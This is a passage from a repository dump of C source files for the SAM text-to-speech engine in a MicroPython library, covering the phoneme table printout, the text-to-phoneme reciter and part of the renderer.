red\t\t\\n\");\r\n\tprintf(\"IH           p(i)n                     L        allow\t\t\\n\");\r\n\tprintf(\"EH           beg                       W        away\t\t\\n\");\r\n\tprintf(\"AE           Sam                       W        whale\t\t\\n\");\r\n\tprintf(\"AA           pot                       Y        you\t\t\\n\");\r\n\tprintf(\"AH           b(u)dget                  M        Sam\t\t\\n\");\r\n\tprintf(\"AO           t(al)k                    N        man\t\t\\n\");\r\n\tprintf(\"OH           cone                      NX       so(ng)\t\t\\n\");\r\n\tprintf(\"UH           book                      B        bad\t\t\\n\");\r\n\tprintf(\"UX           l(oo)t                    D        dog\t\t\\n\");\r\n\tprintf(\"ER           bird                      G        again\t\t\\n\");\r\n\tprintf(\"AX           gall(o)n                  J        judge\t\t\\n\");\r\n\tprintf(\"IX           dig(i)t                   Z        zoo\t\t\\n\");\r\n\tprintf(\"\t\t\t\t       ZH       plea(s)ure\t\\n\");\r\n\tprintf(\"   DIPHTHONGS                          V        seven\t\t\\n\");\r\n\tprintf(\"EY           m(a)de                    DH       (th)en\t\t\\n\");\r\n\tprintf(\"AY           h(igh)\t\t\t\t\t\t\\n\");\r\n\tprintf(\"OY           boy\t\t\t\t\t\t\\n\");\r\n\tprintf(\"AW           h(ow)                     UNVOICED CONSONANTS\t\\n\");\r\n\tprintf(\"OW           slow                      S         Sam\t\t\\n\");\r\n\tprintf(\"UW           crew                      Sh        fish\t\t\\n\");\r\n\tprintf(\"                                       F         fish\t\t\\n\");\r\n\tprintf(\"                                       TH        thin\t\t\\n\");\r\n\tprintf(\" SPECIAL PHONEMES                      P         poke\t\t\\n\");\r\n\tprintf(\"UL           sett(le) (=AXL)           T         talk\t\t\\n\");\r\n\tprintf(\"UM           astron(omy) (=AXM)        K         cake\t\t\\n\");\r\n\tprintf(\"UN           functi(on) (=AXN)         CH        speech\t\t\\n\");\r\n\tprintf(\"Q            kitt-en (glottal stop)    /H        a(h)ead\t\\n\");\t\r\n}\r\n\r\nint debug = 0;\r\n"
  },
  {
    "path": "micropython/source/lib/sam/reciter.c",
    "content": "#include <stdio.h>\r\n#include <string.h>\r\n#include \"reciter.h\"\r\n#include \"ReciterTabs.h\"\r\n#include \"debug.h\"\r\n\r\nstatic unsigned char A, X, Y;\r\nextern int debug;\r\n\r\nvoid Code37055(reciter_memory* mem, unsigned char mem59)\r\n{\r\n\tX = mem59;\r\n\tX--;\r\n\tA = mem->inputtemp[X];\r\n\tY = A;\r\n\tA = tab36376[Y];\r\n\t//return A;\r\n}\r\n\r\nvoid Code37066(reciter_memory* mem, unsigned char mem58)\r\n{\r\n\tX = mem58;\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tY = A;\r\n\tA = tab36376[Y];\r\n    //return A\r\n}\r\n\r\nunsigned char GetRuleByte(unsigned short mem62, unsigned char Y)\r\n{\r\n\tunsigned int address = mem62;\r\n\t\r\n\tif (mem62 >= 37541) \r\n\t{\r\n\t\taddress -= 37541;\r\n\t\treturn rules2[address+Y];\r\n\t}\r\n\taddress -= 32000;\r\n\treturn rules[address+Y];\r\n}\r\n\r\nint TextToPhonemes(reciter_memory* mem) // Code36484\r\n{\r\n\t//unsigned char *tab39445 = &mem[39445];   //input and output\r\n\t//unsigned char mem29;\r\n\tunsigned char mem56;      //output position for phonemes\r\n\tunsigned char mem57;\r\n\tunsigned char mem58;\r\n\tunsigned char mem59;\r\n\tunsigned char mem60;\r\n\tunsigned char mem61;\r\n\tunsigned short mem62;     // memory position of current rule\r\n\r\n\tunsigned char mem64;      // position of '=' or current character\r\n\tunsigned char mem65;     // position of ')'\r\n\tunsigned char mem66;     // position of '('\r\n\tunsigned char mem36653;\r\n\r\n\tmem->inputtemp[0] = 32;\r\n\r\n\t// secure copy of input\r\n\t// because input will be overwritten by phonemes\r\n\tX = 1;\r\n\tY = 0;\r\n\tdo\r\n\t{\r\n\t\t//pos36499:\r\n\t\tA = mem->input[Y] & 127;\r\n\t\tif ( A >= 112) A = A & 95;\r\n\t\telse if ( A >= 96) A = A & 79;\r\n\t\t\r\n\t\tmem->inputtemp[X] = A;\r\n\t\tX++;\r\n\t\tY++;\r\n\t} while (Y != INPUT_PHONEMES-1);\r\n\r\n\tmem->inputtemp[INPUT_PHONEMES-1] = 27;\r\n\tmem61 = 255; // -1\r\n\r\n\r\npos36550:\r\n\tA = 255;\r\n\tmem56 = 255; // -1\r\n\r\n\r\npos36554:\r\n\twhile(1)\r\n\t{\r\n\t\tmem61++;\r\n\t\tX = mem61;\r\n\t\tA = mem->inputtemp[X];\r\n\t\tmem64 = A;\r\n\t\tif (A == '[')\r\n\t\t{\r\n\t\t\tmem56++;\r\n\t\t\tX = mem56;\r\n\t\t\tA = 155;\r\n\t\t\tmem->input[X] = 155;\r\n\t\t\t//goto pos36542;\r\n\t\t\t//\t\t\tCode39771(); \t//Code39777();\r\n\t\t\treturn 1;\r\n\t\t}\r\n\r\n\t\t//pos36579:\r\n\t\tif (A != '.') break;\r\n\t\tX++;\r\n\t\tY = mem->inputtemp[X];\r\n\t\tA = tab36376[Y] & 1;\r\n\t\tif(A != 0) break;\r\n\t\tmem56++;\r\n\t\tX = mem56;\r\n\t\tA = '.';\r\n\t\tmem->input[X] = '.';\r\n\t} //while\r\n\r\n\r\n\t//pos36607:\r\n\tA = mem64;\r\n\tY = A;\r\n\tA = tab36376[A];\r\n\tmem57 = A;\r\n\tif((A&2) != 0)\r\n\t{\r\n\t\tmem62 = 37541;\r\n\t\tgoto pos36700;\r\n\t}\r\n\r\n\t//pos36630:\r\n\tA = mem57;\r\n\tif(A != 0) goto pos36677;\r\n\tA = 32;\r\n\tmem->inputtemp[X] = ' ';\r\n\tmem56++;\r\n\tX = mem56;\r\n\tif (X > 120) goto pos36654;\r\n\tmem->input[X] = A;\r\n\tgoto pos36554;\r\n\r\n\t// -----\r\n\r\n\t//36653 is unknown. Contains position\r\n\r\npos36654:\r\n\tmem->input[X] = 155;\r\n\tA = mem61;\r\n\tmem36653 = A;\r\n\t//\tmem29 = A; // not used\r\n\t//\tCode36538(); das ist eigentlich\r\n\treturn 1;\r\n\t//Code39771();\r\n\t//go on if there is more input ???\r\n\tmem61 = mem36653;\r\n\tgoto pos36550;\r\n\r\npos36677:\r\n\tA = mem57 & 128;\r\n\tif(A == 0)\r\n\t{\r\n\t\t//36683: BRK\r\n        sam_error = \"Err 36683\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\t// go to the right rules for this character.\r\n\tX = mem64 - 'A';\r\n\tmem62 = tab37489[X] | (tab37515[X]<<8);\r\n\r\n\t// -------------------------------------\r\n\t// go to next rule\r\n\t// -------------------------------------\r\n\r\npos36700:\r\n\r\n\t// find next rule\r\n\tY = 0;\r\n\tdo\r\n\t{\r\n\t\tmem62 += 1;\r\n\t\tA = GetRuleByte(mem62, Y);\r\n\t} while ((A & 128) == 0);\r\n\tY++;\r\n\r\n\t//pos36720:\r\n\t// find '('\r\n\twhile(1)\r\n\t{\r\n\t\tA = GetRuleByte(mem62, Y);\r\n\t\tif (A == '(') break;\r\n\t\tY++;\r\n\t}\r\n\tmem66 = Y;\r\n\r\n\t//pos36732:\r\n\t// find ')'\r\n\tdo\r\n\t{\r\n\t\tY++;\r\n\t\tA = GetRuleByte(mem62, Y);\r\n\t} while(A != ')');\r\n\tmem65 = Y;\r\n\r\n\t//pos36741:\r\n\t// find '='\r\n\tdo\r\n\t{\r\n\t\tY++;\r\n\t\tA = GetRuleByte(mem62, Y);\r\n\t\tA = A & 127;\r\n\t} while (A != '=');\r\n\tmem64 = Y;\r\n\r\n\tX = mem61;\r\n\tmem60 = X;\r\n\r\n\t// compare the string within the bracket\r\n\tY = mem66;\r\n\tY++;\r\n\t//pos36759:\r\n\twhile(1)\r\n\t{\r\n\t\tmem57 = mem->inputtemp[X];\r\n\t\tA = GetRuleByte(mem62, Y);\r\n\t\tif (A != mem57) goto pos36700;\r\n\t\tY++;\r\n\t\tif(Y == mem65) break;\r\n\t\tX++;\r\n\t\tmem60 = X;\r\n\t}\r\n\r\n// the string in the bracket is correct\r\n\r\n//pos36787:\r\n\tA = mem61;\r\n\tmem59 = mem61;\r\n\r\npos36791:\r\n\twhile(1)\r\n\t{\r\n\t\tmem66--;\r\n\t\tY = mem66;\r\n\t\tA = GetRuleByte(mem62, Y);\r\n\t\tmem57 = A;\r\n\t\t//36800: BPL 36805\r\n\t\tif ((A & 128) != 0) goto pos37180;\r\n\t\tX = A & 127;\r\n\t\tA = tab36376[X] & 128;\r\n\t\tif (A == 0) break;\r\n\t\tX = mem59-1;\r\n\t\tA = mem->inputtemp[X];\r\n\t\tif (A != mem57) goto pos36700;\r\n\t\tmem59 = X;\r\n\t}\r\n\r\n//pos36833:\r\n\tA = mem57;\r\n\tif (A == ' ') goto pos36895;\r\n\tif (A == '#') goto pos36910;\r\n\tif (A == '.') goto pos36920;\r\n\tif (A == '&') goto pos36935;\r\n\tif (A == '@') goto pos36967;\r\n\tif (A == '^') goto pos37004;\r\n\tif (A == '+') goto pos37019;\r\n\tif (A == ':') goto pos37040;\r\n\t//\tCode42041();    //Error\r\n\t//36894: BRK\r\n    sam_error = \"Err 36894\";\r\n\treturn 0;\r\n\r\n\t// --------------\r\n\r\npos36895:\r\n\tCode37055(mem, mem59);\r\n\tA = A & 128;\r\n\tif(A != 0) goto pos36700;\r\npos36905:\r\n\tmem59 = X;\r\n\tgoto pos36791;\r\n\r\n\t// --------------\r\n\r\npos36910:\r\n\tCode37055(mem, mem59);\r\n\tA = A & 64;\r\n\tif(A != 0) goto pos36905;\r\n\tgoto pos36700;\r\n\r\n\t// --------------\r\n\r\n\r\npos36920:\r\n\tCode37055(mem, mem59);\r\n\tA = A & 8;\r\n\tif(A == 0) goto pos36700;\r\npos36930:\r\n\tmem59 = X;\r\n\tgoto pos36791;\r\n\r\n\t// --------------\r\n\r\npos36935:\r\n\tCode37055(mem, mem59);\r\n\tA = A & 16;\r\n\tif(A != 0) goto pos36930;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 72) goto pos36700;\r\n\tX--;\r\n\tA = mem->inputtemp[X];\r\n\tif ((A == 67) || (A == 83)) goto pos36930;\r\n\tgoto pos36700;\r\n\r\n\t// --------------\r\n\r\npos36967:\r\n\tCode37055(mem, mem59);\r\n\tA = A & 4;\r\n\tif(A != 0) goto pos36930;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 72) goto pos36700;\r\n\tif ((A != 84) && (A != 67) && (A != 83)) goto pos36700;\r\n\tmem59 = X;\r\n\tgoto pos36791;\r\n\r\n\t// --------------\r\n\r\n\r\npos37004:\r\n\tCode37055(mem, mem59);\r\n\tA = A & 32;\r\n\tif(A == 0) goto pos36700;\r\n\r\npos37014:\r\n\tmem59 = X;\r\n\tgoto pos36791;\r\n\r\n\t// --------------\r\n\r\npos37019:\r\n\tX = mem59;\r\n\tX--;\r\n\tA = mem->inputtemp[X];\r\n\tif ((A == 'E') || (A == 'I') || (A == 'Y')) goto pos37014;\r\n\tgoto pos36700;\r\n\t// --------------\r\n\r\npos37040:\r\n\tCode37055(mem, mem59);\r\n\tA = A & 32;\r\n\tif(A == 0) goto pos36791;\r\n\tmem59 = X;\r\n\tgoto pos37040;\r\n\r\n//---------------------------------------\r\n\r\n\r\npos37077:\r\n\tX = mem58+1;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 'E') goto pos37157;\r\n\tX++;\r\n\tY = mem->inputtemp[X];\r\n\tX--;\r\n\tA = tab36376[Y] & 128;\r\n\tif(A == 0) goto pos37108;\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 'R') goto pos37113;\r\npos37108:\r\n\tmem58 = X;\r\n\tgoto pos37184;\r\npos37113:\r\n\tif ((A == 83) || (A == 68)) goto pos37108;  // 'S' 'D'\r\n\tif (A != 76) goto pos37135; // 'L'\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 89) goto pos36700;\r\n\tgoto pos37108;\r\n\t\r\npos37135:\r\n\tif (A != 70) goto pos36700;\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 85) goto pos36700;\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tif (A == 76) goto pos37108;\r\n\tgoto pos36700;\r\n\r\npos37157:\r\n\tif (A != 73) goto pos36700;\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 78) goto pos36700;\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tif (A == 71) goto pos37108;\r\n\t//pos37177:\r\n\tgoto pos36700;\r\n\r\n\t// -----------------------------------------\r\n\r\npos37180:\r\n\r\n\tA = mem60;\r\n\tmem58 = A;\r\n\r\npos37184:\r\n\tY = mem65 + 1;\r\n\r\n\t//37187: CPY 64\r\n\t//\tif(? != 0) goto pos37194;\r\n\tif(Y == mem64) goto pos37455;\r\n\tmem65 = Y;\r\n\t//37196: LDA (62),y\r\n\tA = GetRuleByte(mem62, Y);\r\n\tmem57 = A;\r\n\tX = A;\r\n\tA = tab36376[X] & 128;\r\n\tif(A == 0) goto pos37226;\r\n\tX = mem58+1;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != mem57) goto pos36700;\r\n\tmem58 = X;\r\n\tgoto pos37184;\r\npos37226:\r\n\tA = mem57;\r\n\tif (A == 32) goto pos37295;   // ' '\r\n\tif (A == 35) goto pos37310;   // '#'\r\n\tif (A == 46) goto pos37320;   // '.'\r\n\tif (A == 38) goto pos37335;   // '&'\r\n\tif (A == 64) goto pos37367;   // ''\r\n\tif (A == 94) goto pos37404;   // ''\r\n\tif (A == 43) goto pos37419;   // '+'\r\n\tif (A == 58) goto pos37440;   // ':'\r\n\tif (A == 37) goto pos37077;   // '%'\r\n\t//pos37291:\r\n\t//\tCode42041(); //Error\r\n\t//37294: BRK\r\n\tsam_error = \"Err 36894\";\r\n\treturn 0;\r\n\r\n\t// --------------\r\npos37295:\r\n\tCode37066(mem, mem58);\r\n\tA = A & 128;\r\n\tif(A != 0) goto pos36700;\r\npos37305:\r\n\tmem58 = X;\r\n\tgoto pos37184;\r\n\r\n\t// --------------\r\n\r\npos37310:\r\n\tCode37066(mem, mem58);\r\n\tA = A & 64;\r\n\tif(A != 0) goto pos37305;\r\n\tgoto pos36700;\r\n\r\n\t// --------------\r\n\r\n\r\npos37320:\r\n\tCode37066(mem, mem58);\r\n\tA = A & 8;\r\n\tif(A == 0) goto pos36700;\r\n\r\npos37330:\r\n\tmem58 = X;\r\n\tgoto pos37184;\r\n\r\n\t// --------------\r\n\r\npos37335:\r\n\tCode37066(mem, mem58);\r\n\tA = A & 16;\r\n\tif(A != 0) goto pos37330;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 72) goto pos36700;\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tif ((A == 67) || (A == 83)) goto pos37330;\r\n\tgoto pos36700;\r\n\r\n\t// --------------\r\n\r\n\r\npos37367:\r\n\tCode37066(mem, mem58);\r\n\tA = A & 4;\r\n\tif(A != 0) goto pos37330;\r\n\tA = mem->inputtemp[X];\r\n\tif (A != 72) goto pos36700;\r\n\tif ((A != 84) && (A != 67) && (A != 83)) goto pos36700;\r\n\tmem58 = X;\r\n\tgoto pos37184;\r\n\r\n\t// --------------\r\n\r\npos37404:\r\n\tCode37066(mem, mem58);\r\n\tA = A & 32;\r\n\tif(A == 0) goto pos36700;\r\npos37414:\r\n\tmem58 = X;\r\n\tgoto pos37184;\r\n\r\n\t// --------------\r\n\t\r\npos37419:\r\n\tX = mem58;\r\n\tX++;\r\n\tA = mem->inputtemp[X];\r\n\tif ((A == 69) || (A == 73) || (A == 89)) goto pos37414;\r\n\tgoto pos36700;\r\n\r\n// ----------------------\r\n\r\npos37440:\r\n\r\n\tCode37066(mem, mem58);\r\n\tA = A & 32;\r\n\tif(A == 0) goto pos37184;\r\n\tmem58 = X;\r\n\tgoto pos37440;\r\npos37455:\r\n\tY = mem64;\r\n\tmem61 = mem60;\r\n\r\n\t//if (debug)\r\n\t//\tPrintRule(mem62);\r\n\r\npos37461:\r\n\t//37461: LDA (62),y\r\n\tA = GetRuleByte(mem62, Y);\r\n\tmem57 = A;\r\n\tA = A & 127;\r\n\tif (A != '=')\r\n\t{\r\n\t\tmem56++;\r\n\t\tX = mem56;\r\n\t\tmem->input[X] = A;\r\n\t}\r\n\r\n\t//37478: BIT 57\r\n\t//37480: BPL 37485  //not negative flag\r\n\tif ((mem57 & 128) == 0) goto pos37485; //???\r\n\tgoto pos36554;\r\npos37485:\r\n\tY++;\r\n\tgoto pos37461;\r\n}\r\n\r\n\r\n\r\n"
  },
  {
    "path": "micropython/source/lib/sam/reciter.h",
    "content": "#ifndef RECITER_C\r\n#define RECITER_C\r\n\r\n//int TextToPhonemes(char *input, char *output);\r\n\r\ntypedef struct _reciter_memory {\r\n    char input[128];\r\n    unsigned char inputtemp[128];   // secure copy of input tab36096\r\n} reciter_memory;\r\n\r\nint TextToPhonemes(reciter_memory *mem);\r\n\r\n#endif\r\n\r\n"
  },
  {
    "path": "micropython/source/lib/sam/render.c",
    "content": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\n#include \"render.h\"\n#include \"RenderTabs.h\"\n\n#include \"debug.h\"\n#include \"sam.h\"\nextern int debug;\n\nvoid AddInflection(sam_memory* sam, unsigned char mem48, unsigned char phase1, unsigned char punctuation);\n\n\n// contains the final soundbuffer\nextern int bufferpos;\n\n//timetable for more accurate c64 simulation\nconst int timetable[5][5] =\n{\n\t{162, 167, 167, 127, 128},\n\t{226, 60, 60, 0, 0},\n\t{225, 60, 59, 0, 0},\n\t{200, 0, 0, 54, 55},\n\t{199, 0, 0, 54, 54}\n};\n\nextern void SamOutputByte(unsigned int pos, unsigned char b);\n\nvoid Output(int index, unsigned char A)\n{\n    static unsigned oldtimetableindex = 0;\n    bufferpos += timetable[oldtimetableindex][index];\n    oldtimetableindex = index;\n    SamOutputByte(bufferpos, (A & 15)*16);\n}\n\n\n\n//written by me because of different table positions.\n// mem[47] = ...\n// 168=pitches\n// 169=frequency1\n// 170=frequency2\n// 171=frequency3\n// 172=amplitude1\n// 173=amplitude2\n// 174=amplitude3\nunsigned char Read(sam_memory* sam, unsigned char p, unsigned char Y)\n{\n    if (p > RENDER_FRAMES) {\n        sam_error = \"Out-of-buffer read\";\n        return 0;\n    }\n\tswitch(p)\n\t{\n\tcase 168: return sam->render.pitch[Y];\n\tcase 169: return sam->render.freq_amp[Y].freq1;\n\tcase 170: return sam->render.freq_amp[Y].freq2;\n\tcase 171: return sam->render.freq_amp[Y].freq3;\n\tcase 172: return sam->render.freq_amp[Y].amp1;\n\tcase 173: return sam->render.freq_amp[Y].amp2;\n\tcase 174: return sam->render.freq_amp[Y].amp3;\n\t}\n\tsam_error = \"Read error\";\n\treturn 0;\n}\n\nvoid Write(sam_memory* sam, unsigned char p, unsigned char Y, unsigned char value)\n{\n    if (p > RENDER_FRAMES) {\n        sam_error = \"Out-of-buffer write\";\n        return;\n    }\n\tswitch(p)\n\t{\n\tcase 168: sam->render.pitch[Y] = value; return;\n\tcase 169: sam->render.freq_amp[Y].freq1 = value;  return;\n\tcase 170: sam->render.freq_amp[Y].freq2 = value;  return;\n\tcase 171: sam->render.freq_amp[Y].freq3 = value;  return;\n\tcase 172: sam->render.freq_amp[Y].amp1 = value;  return;\n\tcase 173: sam->render.freq_amp[Y].amp2 = value;  return;\n\tcase 174: sam->render.freq_amp[Y].amp3 = value;  return;\n\t}\n    sam_error = \"Write error\";\n}\n\n\n// -------------------------------------------------------------------------\n//Code48227\n// Render a sampled sound from the sampleTable.\n//\n//   Phoneme   Sample Start   Sample End\n//   32: S*    15             255\n//   33: SH    257            511\n//   34: F*    559            767\n//   35: TH    583            767\n//   36: /H    903            1023\n//   37: /X    1135           1279\n//   38: Z*    84             119\n//   39: ZH    340            375\n//   40: V*    596            639\n//   41: DH    596            631\n//\n//   42: CH\n//   43: **    399            511\n//\n//   44: J*\n//   45: **    257            276\n//   46: **\n// \n//   66: P*\n//   67: **    743            767\n//   68: **\n//\n//   69: T*\n//   70: **    231            255\n//   71: **\n//\n// The SampledPhonemesTable[] holds flags indicating if a phoneme is\n// voiced or not. If the upper 5 bits are zero, the sample is voiced.\n//\n// Samples in the sampleTable are compressed, with bits being converted to\n// bytes from high bit to low, as follows:\n//\n//   unvoiced 0 bit   -> X\n//   unvoiced 1 bit   -> 5\n//\n//   voiced 0 bit     -> 6\n//   voiced 1 bit     -> 24\n//\n// Where X is a value from the table:\n//\n//   { 0x18, 0x1A, 0x17, 0x17, 0x17 };\n//\n// The index into this table is determined by masking off the lower\n// 3 bits from the SampledPhonemesTable:\n//\n//        index = (SampledPhonemesTable[i] & 7) - 1;\n//\n// For voices samples, samples are interleaved between voiced output.\n\n\n// Code48227()\nunsigned char RenderSample(sam_memory* sam, unsigned char *mem66, unsigned sample, unsigned char pos)\n{     \n\tint tempA;\n\t// current phoneme's index\n    unsigned char mem47;\n    unsigned char mem49 = pos;\n    unsigned char mem53;\n    unsigned char mem56;\n\n\t// mask low three bits and subtract 1 get value to \n\t// convert 0 bits on unvoiced samples.\n\tunsigned char A = sample&7;\n\tunsigned char X = A-1;\n\n    // store the result\n\tmem56 = X;\n\t\n\t// determine which offset to use from table { 0x18, 0x1A, 0x17, 0x17, 0x17 }\n\t// T, S, Z                0          0x18\n\t// CH, J, SH, ZH          1          0x1A\n\t// P, F*, V, TH, DH       2          0x17\n\t// /H                     3          0x17\n\t// /X                     4          0x17\n\n    // get value from the table\n    if (X >= sizeof(tab48426))\n        sam_error = \"Out-of-buffer read\";\n\tmem53 = tab48426[X];\n\tmem47 = X;      //46016+mem[56]*256\n\t\n\t// voiced sample?\n\tA = sample & 248;\n\tif(A == 0)\n\t{\n        // voiced phoneme: Z*, ZH, V*, DH\n\t\tpos = mem49;\n\t\tA = sam->render.pitch[9] >> 4;\n\t\t\n\t\t// jump to voiced portion\n\t\tgoto pos48315;\n\t}\n\t\n\tpos = A ^ 255;\npos48274:\n         \n    // step through the 8 bits in the sample\n\tmem56 = 8;\n\t\n\t// get the next sample from the table\n    // mem47*256 = offset to start of samples\n\tA = sampleTable[mem47*256+pos];\npos48280:\n\n    // left shift to get the high bit\n\ttempA = A;\n\tA = A << 1;\n\t//48281: BCC 48290\n\t\n\t// bit not set?\n\tif ((tempA & 128) == 0)\n\t{\n        // convert the bit to value from table\n\t\tX = mem53;\n\t\t//mem[54296] = X;\n        // output the byte\n\t\tOutput(1, X);\n\t\t// if X != 0, exit loop\n\t\tif(X != 0) goto pos48296;\n\t}\n\t\n\t// output a 5 for the on bit\n\tOutput(2, 5);\n\n\t//48295: NOP\npos48296:\n\n\tX = 0;\n\n    // decrement counter\n\tmem56--;\n\t\n\t// if not done, jump to top of loop\n\tif (mem56 != 0) goto pos48280;\n\t\n\t// increment position\n\tpos++;\n\tif (pos != 0) goto pos48274;\n\t\n\t// restore values and return\n\tpos = mem49;\n\treturn pos;\n\n\n\tunsigned char phase1;\n\npos48315:\n// handle voiced samples here\n\n   // number of samples?\n\tphase1 = A ^ 255;\n\n\tpos = *mem66;\n\tdo\n\t{\n\t\t//pos48321:\n\n        // shift through all 8 bits\n\t\tmem56 = 8;\n\t\t//A = Read(sam, mem47, pos);\n\t\t\n\t\t// fetch value from table\n\t\tA = sampleTable[mem47*256+pos];\n\n        // loop 8 times\n\t\t//pos48327:\n\t\tdo\n\t\t{\n\t\t\t//48327: ASL A\n\t\t\t//48328: BCC 48337\n\t\t\t\n\t\t\t// left shift and check high bit\n\t\t\ttempA = A;\n\t\t\tA = A << 1;\n\t\t\tif ((tempA & 128) != 0)\n\t\t\t{\n                // if bit set, output 26\n\t\t\t\tX = 26;\n\t\t\t\tOutput(3, X);\n\t\t\t} else\n\t\t\t{\n\t\t\t\t//timetable 4\n\t\t\t\t// bit is not set, output a 6\n\t\t\t\tX=6;\n\t\t\t\tOutput(4, X);\n\t\t\t}\n\n\t\t\tmem56--;\n\t\t} while(mem56 != 0);\n\n        // move ahead in the table\n\t\tpos++;\n\t\t\n\t\t// continue until counter done\n\t\tphase1++;\n\n\t} while (phase1 != 0);\n\t//\tif (phase1 != 0) goto pos48321;\n\t\n\t// restore values and return\n\tA = 1;\n\t*mem66 = pos;\n\tpos = mem49;\n\treturn pos;\n}\n\n\n\n// RENDER THE PHONEMES IN THE LIST\n//\n// The phoneme list is converted into sound through the steps:\n//\n// 1. Copy each phoneme <length> number of times into the frames list,\n//    where each frame represents 10 milliseconds of sound.\n//\n// 2. Determine the transitions lengths between phonemes, and linearly\n//    interpolate the values across the frames.\n//\n// 3. Offset the pitches by the fundamental frequency.\n//\n// 4. Render the each frame.\n\n\n\n//void Code47574()\nvoid Render(sam_memory* sam)\n{\n\tunsigned char phase1 = 0;  //mem43\n\tunsigned char phase2;\n\tunsigned char phase3;\n    unsigned char mem38;\n\tunsigned char mem40;\n\tunsigned char speedcounter; //mem45\n    unsigned char mem47;\n    unsigned char mem48;\n    unsigned char mem49;\n    unsigned char mem50;\n    unsigned char mem51;\n    unsigned char mem53;\n    unsigned char mem56;\n    unsigned char mem44 = 0;\n\tint i;\n\tif (sam->common.phoneme_output[0].index == PHONEME_END) return; //exit if no data\n\n\tunsigned char A = 0;\n\tunsigned char X = 0;\n\n// CREATE FRAMES\n//\n// The length parameter in the list corresponds to the number of frames\n// to expand the phoneme to. Each frame represents 10 milliseconds of time.\n// So a phoneme with a length of 7 = 7 frames = 70 milliseconds duration.\n//\n// The parameters are copied from the phoneme to the frame verbatim.\n\n    do\n    {\n        // get the index\n        unsigned char Y = mem44;\n        // get the phoneme at the index\n        A = sam->common.phoneme_output[mem44].index;\n        mem56 = A;\n\n        // if terminal phoneme, exit the loop\n        if (A == PHONEME_END) break;\n\n        // period phoneme *.\n        if (A == 1)\n        {\n        // add rising inflection\n            A = 1;\n            mem48 = 1;\n            //goto pos48376;\n            AddInflection(sam, mem48, phase1, X);\n        }\n        /*\n        if (A == 2) goto pos48372;\n        */\n\n        // question mark phoneme?\n        if (A == 2)\n        {\n            // create falling inflection\n            mem48 = 255;\n            AddInflection(sam, mem48, phase1, X);\n        }\n        //\tpos47615:\n\n        // get the stress amount (more stress = higher pitch)\n        phase1 = tab47492[sam->common.phoneme_output[Y].stress + 1];\n\n        // get number of frames to write\n        phase2 = sam->common.phoneme_output[Y].length;\n        unsigned char pitch = sam->common.phoneme_output[Y].pitch;\n        Y = mem56;\n\n        // copy from the source to the frames list\n        do\n        {\n            sam->render.freq_amp[X].freq1 = get_freq1(Y, sam->common.mouth);     // F1 frequency\n            sam->render.freq_amp[X].freq2 = get_freq2(Y, sam->common.throat);     // F2 frequency\n            sam->render.freq_amp[X].freq3 = freq3data[Y];     // F3 frequency\n            sam->render.freq_amp[X].amp1 = ampl1data[Y];     // F1 amplitude\n            sam->render.freq_amp[X].amp2 = ampl2data[Y];     // F2 amplitude\n            sam->render.freq_amp[X].amp3 = ampl3data[Y];     // F3 amplitude\n            sam->render.flags[X] = sampledConsonantFlags[Y];        // phoneme data for sampled consonants\n            sam->render.pitch[X] = pitch + phase1;      // pitch\n            X++;\n            phase2--;\n        } while(phase2 != 0);\n        mem44++;\n    } while(mem44 != OUTPUT_PHONEMES);\n\n\n// -------------------\n//pos47694:\n\n// CREATE TRANSITIONS\n//\n// Linear transitions are now created to smoothly connect the\n// end of one sustained portion of a phoneme to the following\n// phoneme. \n//\n// To do this, three tables are used:\n//\n//  Table         Purpose\n//  =========     ==================================================\n//  blendRank     Determines which phoneme's blend values are used.\n//\n//  blendOut      The number of frames at the end of the phoneme that\n//                will be used to transition to the following phoneme.\n//\n//  blendIn       The number of frames of the following phoneme that\n//                will be used to transition into that phoneme.\n//\n// In creating a transition between two phonemes, the phoneme\n// with the HIGHEST rank is used. Phonemes are ranked on how much\n// their identity is based on their transitions. For example, \n// vowels are and diphthongs are identified by their sustained portion, \n// rather than the transitions, so they are given low values. In contrast,\n// stop consonants (P, B, T, K) and glides (Y, L) are almost entirely\n// defined by their transitions, and are given high rank values.\n//\n// Here are the rankings used by SAM:\n//\n//     Rank    Type                         Phonemes\n//     2       All vowels                   IY, IH, etc.\n//     5       Diphthong endings            YX, WX, ER\n//     8       Terminal liquid consonants   LX, WX, YX, N, NX\n//     9       Liquid consonants            L, RX, W\n//     10      Glide                        R, OH\n//     11      Glide                        WH\n//     18      Voiceless fricatives         S, SH, F, TH\n//     20      Voiced fricatives            Z, ZH, V, DH\n//     23      Plosives, stop consonants    P, T, K, KX, DX, CH\n//     26      Stop consonants              J, GX, B, D, G\n//     27-29   Stop consonants (internal)   **\n//     30      Unvoiced consonants          /H, /X and Q*\n//     160     Nasal                        M\n//\n// To determine how many frames to use, the two phonemes are \n// compared using the blendRank[] table. The phoneme with the \n// higher rank is selected. In case of a tie, a blend of each is used:\n//\n//      if blendRank[phoneme1] ==  blendRank[phomneme2]\n//          // use lengths from each phoneme\n//          outBlendFrames = outBlend[phoneme1]\n//          inBlendFrames = outBlend[phoneme2]\n//      else if blendRank[phoneme1] > blendRank[phoneme2]\n//          // use lengths from first phoneme\n//          outBlendFrames = outBlendLength[phoneme1]\n//          inBlendFrames = inBlendLength[phoneme1]\n//      else\n//          // use lengths from the second phoneme\n//          // note that in and out are SWAPPED!\n//          outBlendFrames = inBlendLength[phoneme2]\n//          inBlendFrames = outBlendLength[phoneme2]\n//\n// Blend lengths can't be less than zero.\n//\n// Transitions are assumed to be symetrical, so if the transition \n// values for the second phoneme are used, the inBlendLength and \n// outBlendLength values are SWAPPED.\n//\n// For most of the parameters, SAM interpolates over the range of the last\n// outBlendFrames-1 and the first inBlendFrames.\n//\n// The exception to this is the Pitch[] parameter, which is interpolates 